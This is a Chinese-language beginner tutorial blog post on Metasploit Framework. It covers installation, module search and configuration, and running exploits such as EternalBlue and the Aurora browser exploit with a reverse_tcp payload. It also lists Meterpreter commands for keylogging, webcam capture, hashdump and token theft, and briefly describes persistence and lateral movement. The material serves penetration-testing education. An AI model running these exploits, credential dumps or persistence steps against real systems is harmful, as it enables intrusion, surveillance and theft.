Metasploit Framework (MSF) 使用指南 - 第一篇:介绍与基础用法

引言

Metasploit Framework(MSF)是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法,帮助初学者快速上手。

一、Metasploit Framework 介绍

1.1 MSF 概述

Metasploit Framework最初由HD Moore于2003年发布,并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中,同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架,包括漏洞利用模块(exploits)、攻击载荷(payloads)、辅助模块(auxiliary)、编码器(encoders)、空指令(nops)、后渗透模块(post)等多个组件。

1.2 MSF 主要组件

  • Exploits(漏洞利用模块):利用目标系统中的已知漏洞进行攻击。

exploit漏洞利用模块路径

/usr/share/metasploit-framework/modules/exploits

image-20240808192501934

例如我需要对windows的系统漏洞的利用,我可以查看windows模块

image-20240808192556338

  • Payloads(攻击载荷):攻击成功后,在目标系统中执行的代码或指令。
/usr/share/metasploit-framework/modules/payloads

image-20240808192714700

​ 在Metasploit框架中,Payload扮演着至关重要的角色,主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的,功能单一且易于使用,类似于运行一个简单的程序命令,但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见类型有reverse_tcpbind_tcp,分别实现反向连接正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。

​ 在实际应用中,正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况,但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境,此时被攻击机可主动连接攻击机,即使防火墙阻止进入的流量也无法阻挡外出连接。特别地,当被攻击机的防火墙极度严格,仅允许80或443端口与外部通信时,使用reverse_http或reverse_https Payload进行反向连接成为理想选择。

  • Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能,辅助渗透测试。不直接执行攻击。例如,使用smb_version辅助模块扫描SMB服务版本:
use auxiliary/scanner/smb/smb_version  
set RHOSTS 192.168.1.0/24  
run

目录如下

image-20240808192836840

msf利用扫描,我的机器上没有这个服务,所以扫不出来。

image-20240808194719964

  • Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。
  • Nops(空指令):提高Payload的稳定性和可靠性。
  • Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。

二、Metasploit Framework 基础安装与配置

2.1 Kali Linux 中的 MSF

在Kali Linux中,MSF默认已安装,用户可以直接通过终端启动MSF控制台。

bash复制代码

msfconsole

2.2 非Kali Linux 环境下的安装

在非Kali Linux环境下,用户可以通过以下命令一键安装MSF:

bash复制代码

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装完成后,建议添加新用户并切换到该用户下运行MSF,以避免权限问题。

2.3 更新与升级

  • Kali Linux 环境

    apt update  
    apt upgrade metasploit-framework
    

image-20240808111758797

  • 非Kali Linux 环境

    bash复制代码
    
    msfupdate
    

三、Metasploit Framework 基础用法

3.1 启动 MSF 控制台

在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库,建议以非root用户启动以确保数据库同步。

image-20240808153710582

3.2 搜索与选择模块

  • 搜索模块:使用 search 命令搜索特定模块,如 search ms17_010

image-20240808193411684

  • 选择模块:使用 use 命令选择特定模块,如 use exploit/windows/smb/ms17_010_eternalblue,也可以使用搜索到的结果的索引,比如

image-20240808193546599

3.3 查看模块信息

  • 使用 info 命令查看当前模块的详细信息。

image-20240808193617657

3.4 配置模块参数

  • 使用 show options 查看模块需要配置的参数。

image-20240808193635518

  • 使用 set 命令设置参数值,如 set RHOSTS 192.168.3.172

image-20240808193723722

  • 可以使用 setg 设置全局参数,避免在每个模块中重复设置。

3.5 执行攻击

  • 配置完成后,使用 exploitrun 命令执行攻击,这里一般看习惯,都是用的run

image-20240808193747771

  • 可以使用 exploit -j 在后台运行攻击。

3.6 后渗透阶段

成功攻击后,将进入Meterpreter会话,可以进行一系列后渗透操作,如文件操作、提权、信息收集等。

img

该表来自csdn 剑客 getshell

Meterpreter > ?
==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

meterpreter >

四、常见问题与解决方案

4.1 数据库连接问题

如果初次运行MSF时未正确初始化数据库,可能会出现连接问题。可以使用以下命令解决:

bash复制代码

msfdb init

若已初始化但连接不上,尝试重启数据库服务:

bash复制代码

msfdb restart

4.2 权限不足问题

在非Kali Linux环境下,以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。

4.3 攻击失败

攻击失败可能是由多种原因造成的,如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态,并尝试不同的Payload和配置选项。

五、高级攻击技术

5.1 被动利用(Passive Exploit)

被动利用是一种不直接向目标系统发送攻击载荷的攻击方式,而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。

示例:利用浏览器漏洞

假设目标系统的浏览器存在已知漏洞,攻击者可以设置一个包含漏洞利用代码的Web页面,并诱骗目标用户访问该页面。当浏览器加载页面时,漏洞利用代码将被执行,从而实现攻击。

use exploit/windows/browser/ms10_002_aurora  
set URIPATH /exploit  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST 192.168.1.101  
exploit

5.2 复合攻击链(Attack Chain)

在复杂攻击场景中,攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链,攻击者可以依次利用多个漏洞,逐步深入目标系统。

示例:内网横向移动

假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器,接下来可以通过其他漏洞(如SMBv1漏洞、密码猜测等)横向移动到其他机器上。

5.3 利用定时任务或计划任务

在某些情况下,攻击者可以修改目标系统的计划任务或定时任务,以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。

六、后渗透阶段的高级操作

6.1 权限提升

在渗透测试过程中,获得系统权限是目标之一。Meterpreter提供了多种提权技术,包括但不限于:

  • 使用getsystem命令尝试直接提权。
  • 利用已知的系统漏洞进行提权(如利用脏牛漏洞)。
  • 通过上传并执行mimikatz等工具获取明文密码。

6.2 信息收集

后渗透阶段,深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息,包括但不限于:

  • 使用sysinfo命令获取系统基本信息。
  • 运行run scraper命令收集系统详细信息并保存到本地。
  • 使用run hashdumprun smart_hashdump导出密码哈希值。

6.3 持久化

为了保持对目标系统的长期访问,攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。

  • 使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。
  • 修改注册表或服务以实现开机自启动。

七、自定义模块开发

MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。

7.1 开发Exploit模块

开发自定义Exploit模块需要深入了解目标漏洞的利用机制,并熟悉Ruby编程语言。以下是一个简单的开发流程:

  1. 研究漏洞:深入理解漏洞的原理和触发条件。
  2. 编写Ruby脚本:使用Metasploit的API编写exploit脚本。
  3. 测试与调试:在安全的测试环境中测试exploit的有效性和稳定性。

7.2 Payload开发

自定义Payload的开发同样需要深入的技术背景,包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload,如自定义shellcode。

八、复杂攻击场景应用

8.1 APT攻击模拟

高级持续性威胁(APT)攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF,安全专业人员可以模拟APT攻击过程,评估组织的安全防御能力。

8.2 水坑攻击

水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源,并在这些位置植入恶意代码。通过MSF,攻击者可以模拟整个水坑攻击过程,从漏洞选择到Payload执行。

8.3 多阶段攻击

多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径,并依次利用多个漏洞实现最终目标。

九、总结

本文详细介绍了Metasploit Framework的基础知识和基本使用方法,包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文,读者可以初步掌握MSF的使用技巧,为进一步学习进阶用法打下坚实基础。在后续文章中,我们将深入探讨MSF的进阶用法,包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。

参考 :https://blog.csdn.net/weixin_45588247?type=blog

posted @ 2024-09-18 15:34  白小雨  阅读(63)  评论(0编辑  收藏  举报